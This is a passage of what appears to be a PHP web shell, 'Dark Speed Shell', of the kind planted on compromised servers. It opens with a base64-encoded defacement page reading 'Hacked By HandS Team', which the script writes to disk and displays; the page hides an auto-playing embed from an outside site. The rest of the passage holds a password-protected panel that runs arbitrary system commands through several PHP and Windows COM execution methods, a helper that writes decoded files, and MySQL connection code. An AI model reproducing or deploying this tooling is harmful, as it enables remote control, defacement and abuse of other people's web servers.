OyBmb250LXNpemU6IDQwOyBjb2xvcjogYmx1ZSB9Cjwvc3R5bGU+CjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgovL0Rpc2FibGUgcmlnaHQgbW91c2UgY2xpY2sgU2NyaXB0CnZhciBtZXNzYWdlPSJObyBEZWFmYWNlICI7Ci8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCmZ1bmN0aW9uIGNsaWNrSUU0KCl7CmlmIChldmVudC5idXR0b249PTIpewphbGVydChtZXNzYWdlKTsKcmV0dXJuIGZhbHNlOwp9Cn0KZnVuY3Rpb24gY2xpY2tOUzQoZSl7CmlmIChkb2N1bWVudC5sYXllcnN8fGRvY3VtZW50LmdldEVsZW1lbnRCeUlkJiYhZG9jdW1lbnQuYWxsKXsKaWYgKGUud2hpY2g9PTJ8fGUud2hpY2g9PTMpewphbGVydChtZXNzYWdlKTsKcmV0dXJuIGZhbHNlOwp9Cn0KfQppZiAoZG9jdW1lbnQubGF5ZXJzKXsKZG9jdW1lbnQuY2FwdHVyZUV2ZW50cyhFdmVudC5NT1VTRURPV04pOwpkb2N1bWVudC5vbm1vdXNlZG93bj1jbGlja05TNDsKfQplbHNlIGlmIChkb2N1bWVudC5hbGwmJiFkb2N1bWVudC5nZXRFbGVtZW50QnlJZCl7CmRvY3VtZW50Lm9ubW91c2Vkb3duPWNsaWNrSUU0Owp9CmRvY3VtZW50Lm9uY29udGV4dG1lbnU9bmV3IEZ1bmN0aW9uKCJhbGVydChtZXNzYWdlKTtyZXR1cm4gZmFsc2UiKQo8L3NjcmlwdD4KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+CnZhciByZXYgPSAiZndkIjsKZnVuY3Rpb24gdGl0bGViYXIodmFsKQp7CnZhciBtc2cgPSAiISEhIEhhY2tlZCBCeSBIYW5kUyBUZWFtICI7CnZhciByZXMgPSAiICI7CnZhciBzcGVlZCA9IDEwMDsKdmFyIHBvcyA9IHZhbDsKbXNnID0gIn4+ICIrbXNnKyIgPH4iOwp2YXIgbGUgPSBtc2cubGVuZ3RoOwppZihyZXYgPT0gImZ3ZCIpewppZihwb3MgPCBsZSl7CnBvcyA9IHBvcysxOwpzY3JvbGwgPSBtc2cuc3Vic3RyKDAscG9zKTsKZG9jdW1lbnQudGl0bGUgPSBzY3JvbGw7CnRpbWVyID0gd2luZG93LnNldFRpbWVvdXQoInRpdGxlYmFyKCIrcG9zKyIpIixzcGVlZCk7Cn0KZWxzZXsKcmV2ID0gImJ3ZCI7CnRpbWVyID0gd2luZG93LnNldFRpbWVvdXQoInRpdGxlYmFyKCIrcG9zKyIpIixzcGVlZCk7Cn0KfQplbHNlewppZihwb3MgPiAwKXsKcG9zID0gcG9zLTE7CnZhciBhbGUgPSBsZS1wb3M7CnNjcm9sID0gbXNnLnN1YnN0cihhbGUsbGUpOwpkb2N1bWVudC50aXRsZSA9IHNjcm9sOwp0aW1lciA9IHdpbmRvdy5zZXRUaW1lb3V0KCJ0aXRsZWJhcigiK3BvcysiKSIsc3BlZWQpOwp9CmVsc2V7CnJldiA9ICJmd2QiOwp0aW1lciA9IHdpbmRvdy5zZXRUaW1lb3V0KCJ0aXRsZWJhcigiK3BvcysiKSIsc3BlZWQpOwp9Cn0KfQp0aXRsZWJhcigwKTsKPC9zY3JpcHQ+Cjxib2R5IG9ua2V5ZG93bj0ncmV0dXJuIGZhbHNlOyc+CiAgICAgICA8ZGl2IGNsYXNzPSJjb250ZW50Ij4KICAgICAgICAgICAgPCEtLSBUaGUgYWN0aXZhdG9yIC0tPgogICAgICAgICAgICA8YSBjbGFzcz0iYWN0aXZhdG9yIiBpZD0iYWN0aXZhdG9yIj48L2E+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPCEtLSBUaGUgb3ZlcmxheSBhbmQgdGhlIGJveCAtLT4KICAgICAgICA8ZGl2IGNsYXNzPSJvdmVybGF5IiBpZD0ib3ZlcmxheSIgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPjwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9ImJveCIgaWQ9ImJveCI+CiAgICAgICAgICAgIDxhIGNsYXNzPSJib3hjbG9zZSIgaWQ9ImJveGNsb3NlIj48L2E+CiAgICAgICAgICAgIDxoMT5DaMO6IMO9ISEhPC9oMT4gICAgICAgICAgICA8cD4KICAgICAgICAgICAgICAgIFhpbiBDaCYjMjI0O28gYWRtaW4sIEImIzc4NDM7byBNJiM3ODUzO3QgUXUmIzIyNTsgSyYjMjMzO20sc2l0ZSBEJiMyMzc7bmggTCYjNzg5NTtpIEZpeCBMJiM3ODk1O2kgTiYjNzg3MTt1IEImIzc4NDE7biBNdSYjNzg4OTtuIFQmIzc4OTE7biBUJiM3ODQxO2kgOikpLiAhCiAgICAgICAgICAgICAgICA8YnIvPiAgICAgICAgICAgICAgICA8YnIvPgogICAgICAgICAgICAgICAgSyYjMjUzOyBUw6puOiAhISE8YnI+CgkJCQlObyBTdXBwb3J0ICAgICAgICAgICAgPC9wPgogICAgICAgIDwvZGl2PgogICAgICAgIDwhLS0gVGhlIEphdmFTY3JpcHQgLS0+CiAgICAgICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cDovL3R5bXBhbnVzLm5ldC9UdXRvcmlhbHMvQ1NTT3ZlcmxheS9qcXVlcnktMS4zLjIuanMiPjwvc2NyaXB0PiAgICAgICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgogICAgICAgICAgICAkKGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgJCgnI2FjdGl2YXRvcicpLmNsaWNrKGZ1bmN0aW9uKCl7CiAgICAgICAgICAgICAgICAgICAgJCgnI292ZXJsYXknKS5mYWRlSW4oJ2Zhc3QnLGZ1bmN0aW9uKCl7CiAgICAgICAgICAgICAgICAgICAgICAgICQoJyNib3gnKS5hbmltYXRlKHsndG9wJzonMTYwcHgnfSw1MDApOwogICAgICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICAkKCcjYm94Y2xvc2UnKS5jbGljayhmdW5jdGlvbigpewogICAgICAgICAgICAgICAgICAgICQoJyNib3gnKS5hbmltYXRlKHsndG9wJzonLTIwMHB4J30sNTAwLGZ1bmN0aW9uKCl7CiAgICAgICAgICAgICAgICAgICAgICAgICQoJyNvdmVybGF5JykuZmFkZU91dCgnZmFzdCcpOwogICAgICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIH0pOwogICAgICAgIDwvc2NyaXB0Pgo8IS0tc2hvdyB0aGUgc25vdy0tPgo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0Ij4KaWYgICgoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQpICYmIAp3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lciB8fCB3aW5kb3cuYXR0YWNoRXZlbnQpewooZnVuY3Rpb24oKXsKLy9Db25maWd1cmUgaGVyZS4KdmFyIG51bSA9IDMwOyAgIC8vTnVtYmVyIG9mIGZsYWtlcwp2YXIgdGltZXIgPSAzMDsgLy9zZXRUaW1lb3V0IHNwZWVkLiBWYXJpZXMgb24gZGlmZmVyZW50IGNvbXBzCnZhciBlbmFibGVpbk5TNiA9IDEgLy9FbmFibGUgc2NyaXB0IGluIE5TNi9Nb3ppbGxhPyBTbm93IGFuaW1hdGlvbiBjb3VsZCBiZSBzbG93IGluIHRob3NlIGJyb3dzZXJzLiAoMT15ZXMsIDA9bm8pLgovL0VuZC4KdmFyIHkgPSBbXTsKdmFyIHggPSBbXTsKdmFyIGZhbGwgPSBbXTsKdmFyIHRoZUZsYWtlcyA9IFtdOwp2YXIgc2ZzID0gW107CnZhciBzdGVwID0gW107CnZhciBjdXJyU3RlcCA9IFtdOwp2YXIgaCx3LHI7CnZhciBkID0gZG9jdW1lbnQ7CnZhciBwaXggPSAicHgiOwp2YXIgZG9tV3cgPSAodHlwZW9mIHdpbmRvdy5pbm5lcldpZHRoID09ICJudW1iZXIiKTsKdmFyIGRvbVN5ID0gKHR5cGVvZiB3aW5kb3cucGFnZVlPZmZzZXQgPT0gIm51bWJlciIpOwp2YXIgaWR4ID0gZC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnZGl2JykubGVuZ3RoOwppZiAoZC5kb2N1bWVudEVsZW1lbnQuc3R5bGUgJiYgCnR5cGVvZiBkLmRvY3VtZW50RWxlbWVudC5zdHlsZS5Nb3pPcGFjaXR5ID09ICJzdHJpbmciKQpudW0gPSAxMjsKZm9yIChpID0gMDsgaSA8IG51bTsgaSsrKXsKc2ZzW2ldID0gTWF0aC5yb3VuZCgxICsgTWF0aC5yYW5kb20oKSAqIDEpOwpkb2N1bWVudC53cml0ZSgnPGRpdiBpZD0iZmxha2UnKyhpZHgraSkrJyIgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlO3RvcDowcHg7bGVmdDowcHg7d2lkdGg6Jworc2ZzW2ldKydweDtoZWlnaHQ6JytzZnNbaV0rJ3B4O2JhY2tncm91bmQtY29sb3I6I2ZmZmZmZjtmb250LXNpemU6JytzZnNbaV0rJ3B4Ij48L2Rpdj4nKTsKY3VyclN0ZXBbaV0gPSAwOwpmYWxsW2ldID0gKHNmc1tpXSA9PSAxKT8KTWF0aC5yb3VuZCgyICsgTWF0aC5yYW5kb20oKSAqIDIpOiBNYXRoLnJvdW5kKDMgKyBNYXRoLnJhbmRvbSgpICogMik7CnN0ZXBbaV0gPSAoc2ZzW2ldID09IDEpPwowLjA1ICsgTWF0aC5yYW5kb20oKSAqIDAuMSA6IDAuMDUgKyBNYXRoLnJhbmRvbSgpICogMC4wNSA7Cn0KaWYgKGRvbVd3KSByID0gd2luZG93OwplbHNleyAKICBpZiAoZC5kb2N1bWVudEVsZW1lbnQgJiYgCiAgdHlwZW9mIGQuZG9jdW1lbnRFbGVtZW50LmNsaWVudFdpZHRoID09ICJudW1iZXIiICYmIAogIGQuZG9jdW1lbnRFbGVtZW50LmNsaWVudFdpZHRoICE9IDApCiAgciA9IGQuZG9jdW1lbnRFbGVtZW50OwogZWxzZXsgCiAgaWYgKGQuYm9keSAmJiAKICB0eXBlb2YgZC5ib2R5LmNsaWVudFdpZHRoID09ICJudW1iZXIiKQogIHIgPSBkLmJvZHk7CiB9Cn0KZnVuY3Rpb24gd2luc2l6ZSgpewp2YXIgb2gsc3ksb3csc3gscmgscnc7CmlmIChkb21Xdyl7CmlmIChkLmRvY3VtZW50RWxlbWVudCAmJiBkLmRlZmF1bHRWaWV3ICYmIAp0eXBlb2YgZC5kZWZhdWx0Vmlldy5zY3JvbGxNYXhZID09ICJudW1iZXIiKXsKb2ggPSBkLmRvY3VtZW50RWxlbWVudC5vZmZzZXRIZWlnaHQ7CnN5ID0gZC5kZWZhdWx0Vmlldy5zY3JvbGxNYXhZOwpvdyA9IGQuZG9jdW1lbnRFbGVtZW50Lm9mZnNldFdpZHRoOwpzeCA9IGQuZGVmYXVsdFZpZXcuc2Nyb2xsTWF4WDsKcmggPSBvaC1zeTsKcncgPSBvdy1zeDsKfQplbHNlewpyaCA9IHIuaW5uZXJIZWlnaHQ7CnJ3ID0gci5pbm5lcldpZHRoOwp9CmggPSByaCAtIDI7ICAKdyA9IHJ3IC0gMjsgCn0KZWxzZXsKaCA9IHIuY2xpZW50SGVpZ2h0IC0gMjsgCncgPSByLmNsaWVudFdpZHRoIC0gMjsgCn0KfQpmdW5jdGlvbiBzY3JsKHl4KXsKdmFyIHkseDsKaWYgKGRvbVN5KXsKeSA9IHIucGFnZVlPZmZzZXQ7CnggPSByLnBhZ2VYT2Zmc2V0Owp9CmVsc2V7CnkgPSByLnNjcm9sbFRvcDsKeCA9IHIuc2Nyb2xsTGVmdDsKfQpyZXR1cm4gKHl4ID09IDApP3k6eDsKfQpmdW5jdGlvbiBzbm93KCl7CnZhciBkeSxkeDsKZm9yIChpID0gMDsgaSA8IG51bTsgaSsrKXsKZHkgPSBmYWxsW2ldOwpkeCA9IGZhbGxbaV0gKiBNYXRoLmNvcyhjdXJyU3RlcFtpXSk7CnlbaV0rPWR5Owp4W2ldKz1keDsgCmlmICh4W2ldID49IHcgfHwgeVtpXSA+PSBoKXsKeVtpXSA9IC0xMDsKeFtpXSA9IE1hdGgucm91bmQoTWF0aC5yYW5kb20oKSAqIHcpOwpmYWxsW2ldID0gKHNmc1tpXSA9PSAxKT8KTWF0aC5yb3VuZCgyICsgTWF0aC5yYW5kb20oKSAqIDIpOiBNYXRoLnJvdW5kKDMgKyBNYXRoLnJhbmRvbSgpICogMik7CnN0ZXBbaV0gPSAoc2ZzW2ldID09IDEpPwowLjA1ICsgTWF0aC5yYW5kb20oKSAqIDAuMSA6IDAuMDUgKyBNYXRoLnJhbmRvbSgpICogMC4wNSA7Cn0KdGhlRmxha2VzW2ldLnRvcCA9IHlbaV0gKyBzY3JsKDApICsgcGl4Owp0aGVGbGFrZXNbaV0ubGVmdCA9IHhbaV0gKyBzY3JsKDEpICsgcGl4OwpjdXJyU3RlcFtpXSs9c3RlcFtpXTsKfQpzZXRUaW1lb3V0KHNub3csdGltZXIpOwp9CmZ1bmN0aW9uIGluaXQoKXsKd2luc2l6ZSgpOwpmb3IgKGkgPSAwOyBpIDwgbnVtOyBpKyspewogdGhlRmxha2VzW2ldID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImZsYWtlIisoaWR4K2kpKS5zdHlsZTsKIHlbaV0gPSBNYXRoLnJvdW5kKE1hdGgucmFuZG9tKCkqaCk7CiB4W2ldID0gTWF0aC5yb3VuZChNYXRoLnJhbmRvbSgpKncpOwp9CnNub3coKTsKfQppZiAod2luZG93LmFkZEV2ZW50TGlzdGVuZXIpewogd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoInJlc2l6ZSIsd2luc2l6ZSxmYWxzZSk7CiB3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigibG9hZCIsaW5pdCxmYWxzZSk7Cn0gIAplbHNlIGlmICh3aW5kb3cuYXR0YWNoRXZlbnQpewogd2luZG93LmF0dGFjaEV2ZW50KCJvbnJlc2l6ZSIsd2luc2l6ZSk7CiB3aW5kb3cuYXR0YWNoRXZlbnQoIm9ubG9hZCIsaW5pdCk7Cn0gCn0pKCk7Cn0vL0VkaXQgQnk6IE1hcmlvbjAwMQo8L3NjcmlwdD4KPGRpdiBpZD0id2FycCI+CjxkaXYgaWQ9InRpdGxlIj4KPGNlbnRlcj4KPGgxPi46OiBIYW5kUyBUZWFtIDo6LjwvaDE+CjxkaXYgaWQ9InN1YmhlYWRlciI+PHA+SGFuZFMgVGVhbSBIYWNrZXIgR3JvdXA8L3A+PC9kaXY+CjwvY2VudGVyPgo8Y2VudGVyPgo8ZGl2IGlkPSJjb250ZW50Ij4KPGRpdiBpZD0ibWFzYWdlIj4KPGNlbnRlcj4KPHA+U2FmZV9tb2RlOiA8Zm9udCBjb2xvcj0icmVkIj48Yj5PRkY8L2I+PC9mb250PgkKPGZvbnQgc3R5bGU9ImNvbG9yOiB3aGl0ZTsgdGV4dC1zaGFkb3c6IDBweCAwcHggMHB4ICMxMTEsIDAgMCAwLjVlbSAjMzNmZjAwLCAwIDAgMC40ZW0gd2hpdGUiPjxjZW50ZXI+PGI+ISEhIEdyZXkgSGF0IEhhY2tlciBHcm91cHM8L2I+PC9jZW50ZXI+PC9mb250PjxiciAvPgo8L3A+CjwvZGl2Pgo8Y2VudGVyPjxmb250IGNvbG9yPSIjMDBGRjAwIiBzaXplPSI0cHgiPk1lbWJlciBUZWFtICEhITwvZm9udD48L2NlbnRlcj4gPDxtYXJxdWVlIGJlaGF2aW9yPSJzY3JvbGwiIGRpcmVjdGlvbj0ibGVmdCIgYmVoYXZpb3I9ImFsdGVybmF0ZSIgc2Nyb2xsYW1vdW50PSIyIiBzY3JvbGxkZWxheT0iOTAiIHdpZHRoPSI5MCUiPgo8Y2VudGVyPjxmb250IGNvbG9yPSIjQTZBNkE2IiBmYWNlPSJ2ZXJkYW5hIiBzaXplPSIyIj4KPHN0cm9uZz5DJiM0MTc7biBHacOzIC0gRHVjYWNlIFRyYW5nZWFzdCAtINW+1oXVtCDVvtaF1bQgLSBIY2UgQ3V0eU5oYW5naGVvIC0gTCYjMjI3O25nIFQmIzc5MTc7IEtpZHMgLSBOb2JsZSBIcCAtIEMmIzc4NDc7biBNJiM3ODk3O3QgQyYjMjI1O2kgVCYjMjM0O24gLSBOJiM3ODYzO2MgRGFuaCAtIEJhbmcgSHV5bmggLSBNYXJpb24wMDEgLSBWJiMzNjE7IFF1YW5nIE1pbmggLSBIdXkmIzc4NzM7biBUaG8mIzc4NDE7aSBDaCYjNDE3O2kgTiYjMjMzO3QgLSBJS2l6IC0gSGkmIzc4NzE7cCBIJiM3ODQxO20gLSBDJiMyMjQ7aSAtIFQmIzI0NDttIEgmIzI0OTttICYjMjcyOyYjNzg4NzsgLSBUaCYjMjI0O25oIFBoJiM3ODg5OyBDJiM3ODQ5O20gUGgmIzc4NDM7IC0gSEkmIzc4Nzk7cCBMJiMyMzQ7IC0gSG8mIzIyNDtuZyBUciYjMjM3OyAtIFQmIzIzNzsgTWF4IC0gUml2ZXIgV2luZCAtIE5ndXnDqm4gQXJ5IC0gS2V5eiBIYXhvciAtIEt1cm9iYSBLYWl0byAtIE5peCBBbmJ1IC0gU2NhciBQYXJhZGlzZSdzIC0gU2FpIC0gVGhlIFJ5Y2ggLSBWJiMzNjE7ICYjMjcyOyYjMjM2O25oIEtoJiMyNDQ7aSAtIEh5ZHJhIEhheG9yIC0gUXVheSBMJiM0MzI7bmcgLSBKYWNrIEZyb3N0IEthc3BlcnNreSBBbm9ucyAtIO+xnu+xniAtIE5nxrDhu51pIELDrG5oIFRoxrDhu51uZyAtIEgmIzIyNDtuaCBUaW5oIFhhbmggLSBOZ29uIE5oJiM3ODgxOyAtICYjMjcyOyYjMjI0O28gUXVhbmcgTWluaCAtIEMmIzc4NDc7biBDaGltIEMmIzc4NDM7bmggLSBCJiM3ODQxO2NoIEgmIzc4NDM7aSAmIzI3MjsmIzQzMjsmIzc5MDE7bmcgLSBBdHRhY2tlciBTbWlsZSAtIEJhbmcgSHV5bmggLSBIb2FuZyBMb25nIFZhbi4gQW5kIGFsbCBtZW1iZXIgSGFuZFMgVEVhbSEhITwvc3Ryb25nPjwvZm9udD48L2NlbnRlcj4KPC9tYXJxdWVlPgo8b2JqZWN0IHdpZHRoPSIwIiBoZWlnaHQ9IjAiPiAgPHBhcmFtIG5hbWU9Im1vdmllIiB2YWx1ZT0iaHR0cDovL3d3dy5uaGFjY3VhdHVpLmNvbS9tL2hTZzAyYVVXa3FMRCIgLz4gIDxwYXJhbSBuYW1lPSJxdWFsaXR5IiB2YWx1ZT0iaGlnaCIgLz4gIDxwYXJhbSBuYW1lPSJ3bW9kZSIgdmFsdWU9InRyYW5zcGFyZW50IiAvPiAgPHBhcmFtIG5hbWU9ImFsbG93c2NyaXB0YWNjZXNzIiB2YWx1ZT0iYWx3YXlzIiAvPiA8cGFyYW0gbmFtZT0iYWxsb3dmdWxsc2NyZWVuIiB2YWx1ZT0idHJ1ZSIvPiA8cGFyYW0gbmFtZT0iZmxhc2h2YXJzIiB2YWx1ZT0iYXV0b3N0YXJ0PXRydWUiIC8+ICA8ZW1iZWQgc3JjPSJodHRwOi8vd3d3Lm5oYWNjdWF0dWkuY29tL20vaFNnMDJhVVdrcUxEIiBmbGFzaHZhcnM9InRhcmdldD1ibGFuayZhdXRvc3RhcnQ9dHJ1ZSIgYWxsb3dzY3JpcHRhY2Nlc3M9ImFsd2F5cyIgYWxsb3dmdWxsc2NyZWVuPSJ0cnVlIiBxdWFsaXR5PSJoaWdoIiB3bW9kZT0idHJhbnNwYXJlbnQiIHR5cGU9ImFwcGxpY2F0aW9uL3gtc2hvY2t3YXZlLWZsYXNoIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIj48L2VtYmVkPjwvb2JqZWN0Pgo8L2h0bWw+
  1319. ';
  1320. $file = fopen("HandS-Team.html","w+");
  1321. $write = fwrite ($file ,base64_decode($perltoolss));
  1322. fclose($file);
  1323. echo "<iframe src=HandS-Team.html width=100% height=720px frameborder=0></iframe> ";
  1324. }
  1325. if ($action == 'shell') {
  1326. if (IS_WIN &&IS_COM) {
  1327. if($program &&$parameter) {
  1328. $shell= new COM('Shell.Application');
  1329. $a = $shell->ShellExecute($program,$parameter);
  1330. m('Program run has '.(!$a ?'success': 'fail'));
  1331. }
  1332. !$program &&$program = 'c:\windows\system32\cmd.exe';
  1333. !$parameter &&$parameter = '/c net start > '.SA_ROOT.'log.txt';
  1334. formhead(array('title'=>'Execute Program'));
  1335. makehide('action','shell');
  1336. makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
  1337. p('<p>');
  1338. makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
  1339. makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
  1340. p('</p>');
  1341. formfoot();
  1342. }
  1343. formhead(array('title'=>'Execute Command'));
  1344. makehide('action','shell');
  1345. if (IS_WIN &&IS_COM) {
  1346. $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
  1347. makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
  1348. }
  1349. p('<p>');
  1350. makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
  1351. makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
  1352. p('</p>');
  1353. formfoot();
  1354. if ($command) {
  1355. p('<hr width="100%" noshade /><pre>');
  1356. if ($execfunc=='wscript'&&IS_WIN &&IS_COM) {
  1357. $wsh = new COM('WScript.shell');
  1358. $exec = $wsh->exec('cmd.exe /c '.$command);
  1359. $stdout = $exec->StdOut();
  1360. $stroutput = $stdout->ReadAll();
  1361. echo $stroutput;
  1362. }elseif ($execfunc=='proc_open'&&IS_WIN &&IS_COM) {
  1363. $descriptorspec = array(
  1364. 0 =>array('pipe','r'),
  1365. 1 =>array('pipe','w'),
  1366. 2 =>array('pipe','w')
  1367. );
  1368. $process = proc_open($_SERVER['COMSPEC'],$descriptorspec,$pipes);
  1369. if (is_resource($process)) {
  1370. fwrite($pipes[0],$command."\r\n");
  1371. fwrite($pipes[0],"exit\r\n");
  1372. fclose($pipes[0]);
  1373. while (!feof($pipes[1])) {
  1374. echo fgets($pipes[1],1024);
  1375. }
  1376. fclose($pipes[1]);
  1377. while (!feof($pipes[2])) {
  1378. echo fgets($pipes[2],1024);
  1379. }
  1380. fclose($pipes[2]);
  1381. proc_close($process);
  1382. }
  1383. }else {
  1384. echo(execute($command));
  1385. }
  1386. p('</pre>');
  1387. }
  1388. }
  1389. ;echo '</td></tr></table>
  1390. <div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
  1391. <span style="float:right;">';debuginfo();ob_end_flush();;echo '</span>
  1392. Copyright @ 2014 .::[Dark Speed]::. Profile <a href=https://www.facebook.com/o0o.DarkSpeed6666.o0o target=_blank><B> .::[EHG Team]::. </B></a>
  1393. </div>
  1394. <iframe style="height:1px" src="" frameborder=0 width=1></iframe>
  1395. </body>
  1396. </html>
  1397. ';
  1398. function m($msg) {
  1399. echo '<div style="background:rgba(241, 241, 241, 0.22);border:1px solid #00FF00;padding:15px;font:14px;text-align:center;font-weight:bold;">';
  1400. echo $msg;
  1401. echo '</div>';
  1402. }
  1403. function scookie($key,$value,$life = 0,$prefix = 1) {
  1404. global $admin,$timestamp,$_SERVER;
  1405. $key = ($prefix ?$admin['cookiepre'] : '').$key;
  1406. $life = $life ?$life : $admin['cookielife'];
  1407. $useport = $_SERVER['SERVER_PORT'] == 443 ?1 : 0;
  1408. setcookie($key,$value,$timestamp+$life,$admin['cookiepath'],$admin['cookiedomain'],$useport);
  1409. }
  1410. function multi($num,$perpage,$curpage,$tablename) {
  1411. $multipage = '';
  1412. if($num >$perpage) {
  1413. $page = 10;
  1414. $offset = 5;
  1415. $pages = @ceil($num / $perpage);
  1416. if($page >$pages) {
  1417. $from = 1;
  1418. $to = $pages;
  1419. }else {
  1420. $from = $curpage -$offset;
  1421. $to = $curpage +$page -$offset -1;
  1422. if($from <1) {
  1423. $to = $curpage +1 -$from;
  1424. $from = 1;
  1425. if(($to -$from) <$page &&($to -$from) <$pages) {
  1426. $to = $page;
  1427. }
  1428. }elseif($to >$pages) {
  1429. $from = $curpage -$pages +$to;
  1430. $to = $pages;
  1431. if(($to -$from) <$page &&($to -$from) <$pages) {
  1432. $from = $pages -$page +1;
  1433. }
  1434. }
  1435. }
  1436. $multipage = ($curpage -$offset >1 &&$pages >$page ?'<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ': '').($curpage >1 ?'<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage -1).');">Prev</a> ': '');
  1437. for($i = $from;$i <= $to;$i++) {
  1438. $multipage .= $i == $curpage ?$i.' ': '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
  1439. }
  1440. $multipage .= ($curpage <$pages ?'<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage +1).');">Next</a>': '').($to <$pages ?' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>': '');
  1441. $multipage = $multipage ?'<p>Pages: '.$multipage.'</p>': '';
  1442. }
  1443. return $multipage;
  1444. }
  1445. function loginpage() {
  1446. ;echo '<html>
  1447. <head>
  1448. <body bgcolor=black background=http://i.imgur.com/3xOrqdW.jpg>
  1449. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  1450. <title>Dark Speed Shell</title>
  1451. <style type="text/css">
  1452. A:link {text-decoration: none; color: green }
  1453. A:visited {text-decoration: none;color:red}
  1454. A:active {text-decoration: none}
  1455. A:hover {text-decoration: underline; color: green;}
  1456. input, textarea, button
  1457. {
  1458. font-size: 11pt;
  1459. color: #FFFFFF;
  1460. font-family: verdana, sans-serif;
  1461. background-color: #000000;
  1462. border-left: 2px dashed #8B0000;
  1463. border-top: 2px dashed #8B0000;
  1464. border-right: 2px dashed #8B0000;
  1465. border-bottom: 2px dashed #8B0000;
  1466. }
  1467. </style>
  1468. <BR><BR>
  1469. <div align=center >
  1470. <fieldset style="border: 1px solid rgb(69, 69, 69); padding: 4px;width:450px;bgcolor:white;align:center;font-family:tahoma;font-size:10pt"><legend><font color=red><B>Shell Mod By: Dark Speed</b></font></legend>
  1471. <div>
  1472. <font color=#99CC33>
  1473. <font color=#33ff00>==[ <B>Dark Speed</B> ]== </font><BR><BR>
  1474. <form method="POST" action="">
  1475. <span style="font:10pt tahoma;">Vi&#7871;t M&#7853;t Kh&#7849;u: </span><input name="password" type="password" size="20">
  1476. <input type="hidden" name="doing" value="login">
  1477. <input type="submit" value="Dark Speed">
  1478. </form>
  1479. <BR>
  1480. ';
  1481. echo "".$err_mess."";
  1482. ;echo ' <B><font color=#FFFFFF>
  1483. <a href=https://www.facebook.com/o0o.DarkSpeed6666.o0o target=_blank>Go To Facebook: .::[Dark Speed]::. </a><BR></b>
  1484. </div>
  1485. </fieldset>
  1486. </head>
  1487. </html>
  1488. ';
  1489. exit;
  1490. }
  1491. function execute($cfe) {
  1492. $res = '';
  1493. if ($cfe) {
  1494. if(function_exists('exec')) {
  1495. @exec($cfe,$res);
  1496. $res = join("\n",$res);
  1497. }elseif(function_exists('shell_exec')) {
  1498. $res = @shell_exec($cfe);
  1499. }elseif(function_exists('system')) {
  1500. @ob_start();
  1501. @system($cfe);
  1502. $res = @ob_get_contents();
  1503. @ob_end_clean();
  1504. }elseif(function_exists('passthru')) {
  1505. @ob_start();
  1506. @passthru($cfe);
  1507. $res = @ob_get_contents();
  1508. @ob_end_clean();
  1509. }elseif(@is_resource($f = @popen($cfe,"r"))) {
  1510. $res = '';
  1511. while(!@feof($f)) {
  1512. $res .= @fread($f,1024);
  1513. }
  1514. @pclose($f);
  1515. }
  1516. }
  1517. return $res;
  1518. }
  1519. function which($pr) {
  1520. $path = execute("which $pr");
  1521. return ($path ?$path : $pr);
  1522. }
  1523. function cf($fname,$text){
  1524. if($fp=@fopen($fname,'w')) {
  1525. @fputs($fp,@base64_decode($text));
  1526. @fclose($fp);
  1527. }
  1528. }
  1529. function debuginfo() {
  1530. global $starttime;
  1531. $mtime = explode(' ',microtime());
  1532. $totaltime = number_format(($mtime[1] +$mtime[0] -$starttime),6);
  1533. echo 'X&#7917; L&#253; Trong '.$totaltime.' Gi&#226;y(s)';
  1534. }
  1535. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
  1536. if(!$link = @mysql_connect($dbhost.':'.$dbport,$dbuser,$dbpass)) {
  1537. p('<h2>Can not connect to MySQL server</h2>');
  1538. exit;
  1539. }
  1540. if($link &&$dbname) {
  1541. if (!@mysql_select_db($dbname,$link)) {
  1542. p('<h2>Database selected has error</h2>');
  1543. exit;
  1544. }
  1545. }
  1546. if($link &&mysql_get_server_info() >'4.1') {
  1547. if(in_array(strtolower($charset),array('gbk','big5','utf8'))) {
  1548. q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;",$link);
  1549. }
  1550. }
  1551. return $link;
  1552. }
  1553. function s_array(&$array) {
  1554. if (is_array($array)) {
  1555. foreach ($array as $k =>$v) {
  1556. $array[$k] = s_array($v);
  1557. }
  1558. }else if (is_string($array)) {
